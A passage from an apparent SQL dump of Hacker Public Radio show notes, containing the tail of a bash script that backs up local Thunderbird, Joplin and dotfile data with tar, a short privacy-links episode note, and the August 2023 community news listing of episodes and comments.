|&quot;${HOME}/Documents/joplin&quot;\n    dots |&quot;${HOME}/.bashrc .vimrc .bash_aliases&quot;\nEOT01\n\necho -e &quot;What do you want to backup? : \\c.&quot;\nread VAR_VALUE\n\ncase ${VAR_VALUE} in\n    &quot;email&quot; )\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.mail.yahoo.com/&quot;\n    echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.gmail.com/&quot;\n    echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL=&quot;EMAIL_ARCHIVES$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;Mail/&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n    echo -e &quot;Grabbing email EMAIL_ARCHIVES...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; EMAIL_ARCHIVES$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_CALENDER$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;calenders/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo -e &quot;Grabbing email THUNDERBIRD_CALENDER...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_CALENDER$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;address-book/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ALL$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.thunderbird/&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n    echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ALL$(date +%m-%d-%Y).txt ;;\n\n    &quot;jop&quot; )\nVAR_TBALL=&quot;JOPLIN$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;joplin/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; JOPLIN$(date +%m-%d-%Y).txt ;;\n\n    &quot;dots&quot; )\nVAR_TBALL=&quot;dots$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.bashrc .vimrc .bash_aliases&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n    echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -v -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET} ;;\n\n    * )\n    echo &quot;Good Heavens...&quot; ;;\nesac\nexit;\n</code></pre>\n<hr />\n<ol start=\"2\">\n<li>Restoring from backups.</li>\n</ol>\n<ul>\n<li><code>tar --extract --directory= /path/to/directory/ --file /path/to/file;</code></li>\n<li>A <code>cp -v -t /path/to/directory *08-05-2022.tar.gz;</code> command is used to<br />\nsend the latest tarballs to the fresh install, from the backup drive.</li>\n<li>Now that you&#x2019;ve seen the script above, I&#x2019;ll just give a <code>tar --extract</code> example to keep things short and sweet.</li>\n</ul>\n<pre><code>VAR_TBALL=&quot;EMAIL_ARCHIVES*.tar.gz&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n    echo -e &quot;Restoring EMAIL_ARCHIVES...\\n&quot;\ntar --extract --directory= ${VAR_JUMP} --file ${VAR_TBALL}\n    echo -e &quot;EMAIL_ARCHIVES restored.\\n&quot;\n</code></pre>\n',391,0,0,'CC-BY-SA','sysadmin, system maintenance, tar, backups',0,0,1),
(3664,'2022-08-18','Secret hat conversations',1070,'You\'ll need your tin hat for this one.','<p><a href=\"https://en.wikipedia.org/wiki/Tin_foil_hat\">The Tin Foil Hat</a> often worn in the belief or hope that it shields the brain from threats such as electromagnetic fields, mind control, and mind reading.</p>\n<ol>\n<li><a href=\"https://www.youtube.com/watch?v=KD7zTSaiigg\">Proper hat construction video</a>. Also includes the &#x201C;why&#x201D; along with the &#x201C;how&#x201D;.</li>\n<li><a href=\"https://www.youtube.com/watch?v=p0mEuIvfFCA\">Proper hat construction music</a>. Just something to keep you focused.</li>\n</ol>\n<hr />\n<p><a href=\"https://www.fcc.gov/spoofing\">FCC Caller ID Spoofing info</a>: Spoofing is when a caller deliberately falsifies the information transmitted to your caller ID display to disguise their identity.</p>\n<p><a href=\"https://www.fcc.gov/call-blocking\">FCC Call Blocking info</a>: Call blocking is a tool used by phone companies to stop illegal and unwanted calls from reaching your phone. A second annual FCC report released in June 2021 found that many voice service providers and third-party analytics companies are improving their call blocking and labeling services and use new data to better detect robocalls. Billions of unwanted calls to American consumers are being blocked each year.</p>\n<p>The <a href=\"https://pine64.com/product/pinephone-pro-explorer-edition/\">PinePhone Pro Explorer Edition</a> is aimed at Linux developers with an extensive knowledge of embedded systems and/or experience with mobile Linux.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">Time-based one-time password</a> (TOTP) is a computer algorithm that generates a one-time password (OTP) that uses the current time as a source of uniqueness. As an extension of the HMAC-based one-time password algorithm (HOTP), it has been adopted as Internet Engineering Task Force (IETF) standard RFC 6238.</p>\n<p><a href=\"https://matrix.org/\">Matrix</a> is an open standard for interoperable, decentralised, real-time communication over IP.</p>\n<hr />\n<p><strong>Password Managers:</strong> <em>Used by Some Guy On The Internet.</em><br />\n<a href=\"https://bitwarden.com/\">Bitwarden</a><br />\n<a href=\"https://keepassxc.org/\">KeePassXC</a></p>\n<hr />\n',391,0,1,'CC-BY-SA','Tin hat, call spoofing',0,0,1),
(3936,'2023-09-04','HPR Community News for August 2023',3397,'HPR Volunteers talk about shows released and comments posted in August 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents/0422.html\" target=\"_blank\">Fred Black</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">3912</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">Emergency Show: Biltong and Rooibos</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0250.html\" target=\"_blank\">Shane Shennan</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">3913</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">Lurking Prion Q and A</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">3914</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">how to deal with blisters</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">3915</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">Why the hell is my audio clipping?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0201.html\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">3916</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">HPR Community News for July 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">3917</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">Response to \"Permission Tickets\" by oneofspoons</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">3918</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">Emacs package curation, part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html\" target=\"_blank\">3919</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html\" target=\"_blank\">How I hacked my voice</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">3920</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">RV Trip 2022-2023: Southeast US</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">3921</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html\" target=\"_blank\">3922</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html\" target=\"_blank\">Silent Key</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3923/index.html\" target=\"_blank\">3923</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3923/index.html\" target=\"_blank\">Meal preparation.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3924/index.html\" target=\"_blank\">3924</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3924/index.html\" target=\"_blank\">Mass Quick Tips for August 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3925/index.html\" target=\"_blank\">3925</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3925/index.html\" target=\"_blank\">Uncommon tools and social media</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html\" target=\"_blank\">3926</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html\" target=\"_blank\">Karate Do: An Overview</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0410.html\" target=\"_blank\">Hipernike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3927/index.html\" target=\"_blank\">3927</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3927/index.html\" target=\"_blank\">Audacity Update 20230702</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html\" target=\"_blank\">3928</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html\" target=\"_blank\">RE: Klaatu.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3929/index.html\" target=\"_blank\">3929</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3929/index.html\" target=\"_blank\">Some experiences with different notes apps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0403.html\" target=\"_blank\">Lee</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">3930</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">Playing Civilization II Test of Time</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3931/index.html\" target=\"_blank\">3931</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3931/index.html\" target=\"_blank\">What Instrument was played in hpr3905?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0422.html\" target=\"_blank\">Fred Black</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3932/index.html\" target=\"_blank\">3932</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3932/index.html\" target=\"_blank\">Short introduction to inxi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0309.html\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html\" target=\"_blank\">3933</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html\" target=\"_blank\">Planning for a planner.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html\" target=\"_blank\">3934</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html\" target=\"_blank\">Crusader Kings II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3840/index.html#comments\" target=\"_blank\">hpr3840</a></strong>\n(2023-04-21) \"<em>Playing the Original Civilization</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3840/index.html#1\" target=\"_blank\">Comment 1</a>:\nTuula on 2023-08-08:\n\"this brings back memories\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3855/index.html#comments\" target=\"_blank\">hpr3855</a></strong>\n(2023-05-12) \"<em>SSH (or OpenSSH) Escape Sequences</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3855/index.html#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-08-16:\n\"Secrets\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3856/index.html#comments\" target=\"_blank\">hpr3856</a></strong>\n(2023-05-15) \"<em>Painting toy soldiers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3856/index.html#2\" target=\"_blank\">Comment 2</a>:\nTuula on 2023-08-08:\n\"great show\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#comments\" target=\"_blank\">hpr3896</a></strong>\n(2023-07-10) \"<em>The Brochs of Glenelg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-08-23:\n\"Intriguing show topic\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#comments\" target=\"_blank\">hpr3904</a></strong>\n(2023-07-20) \"<em>How to make friends</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2023-08-02:\n\"Frienships\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html#comments\" target=\"_blank\">hpr3916</a></strong>\n(2023-08-07) \"<em>HPR Community News for July 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-08-07:\n\"grandfather clock\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#comments\" target=\"_blank\">hpr3917</a></strong>\n(2023-08-08) \"<em>Response to \"Permission Tickets\" by oneofspoons</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-08-21:\n\"breaking the spell\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-08-23:\n\"re: breaking the spell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#comments\" target=\"_blank\">hpr3919</a></strong>\n(2023-08-10) \"<em>How I hacked my voice</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-08-10:\n\"Morphic resonance.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#2\" target=\"_blank\">Comment 2</a>:\nTuula on 2023-08-12:\n\"lilting\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2023-08-23:\n\"hacking your voice\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#4\" target=\"_blank\">Comment 4</a>:\nTuula on 2023-08-28:\n\"you\'re welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html#comments\" target=\"_blank\">hpr3921</a></strong>\n(2023-08-14) \"<em>HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-08-16:\n\"Hearing 5150\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#comments\" target=\"_blank\">hpr3922</a></strong>\n(2023-08-15) \"<em>Silent Key</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#1\" target=\"_blank\">Comment 1</a>:\nTuula on 2023-08-15:\n\"my condolences\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#2\" target=\"_blank\">Comment 2</a>:\nthelovebug on 2023-08-16:\n\"My condolences\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#comments\" target=\"_blank\">hpr3926</a></strong>\n(2023-08-21) \"<em>Karate Do: An Overview</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0410.html\" target=\"_blank\">Hipernike</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-23:\n\"Thank you for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#2\" target=\"_blank\">Comment 2</a>:\nHipernike on 2023-08-28:\n\"You\'re Welcome!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#comments\" target=\"_blank\">hpr3928</a></strong>\n(2023-08-23) \"<em>RE: Klaatu.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-23:\n\"Good Heavens!!\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-08-25:\n\"Good heavens!!!!!!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#comments\" target=\"_blank\">hpr3933</a></strong>\n(2023-08-30) \"<em>Planning for a planner.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-30:\n\"Thank you for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#2\" target=\"_blank\">Comment 2</a>:\nKinghezy on 2023-08-31:\n\"Interesting topic\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-August/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"site-migration\">Site Migration</h2>\n<ul>\n<li><p>The process of moving the HPR site to its new location and\nimplementing all of the features has been going on during August:</p>\n<ul>\n<li>Working on updating links on documentation pages</li>\n<li>Moving RSS feeds from the dynamic part of the site to the static\nside</li>\n<li>Making the comment forms work the same as before</li>\n<li>Making tags clickable</li>\n<li>Fixing Unicode problems</li>\n<li>Fixing various small bugs like the calculation of when to show the\n\"Call for shows\" message\"\"</li>\n</ul></li>\n<li><p>There are a number of problems yet to be tackled:</p>\n<ul>\n<li>Making links to pictures and other supplementary files work</li>\n<li>Making links in comments clickable</li>\n</ul></li>\n<li><p>We have had a number of very helpful problem reports, mainly\nthrough the <code>#HPR</code> channel on Matrix.</p></li>\n<li><p>It\'s also possible to raise issues on the Gitea site at <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator/issues\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator/issues</a>,\nthough it\'s necessary to have a username on the site before this can be\ndone.</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
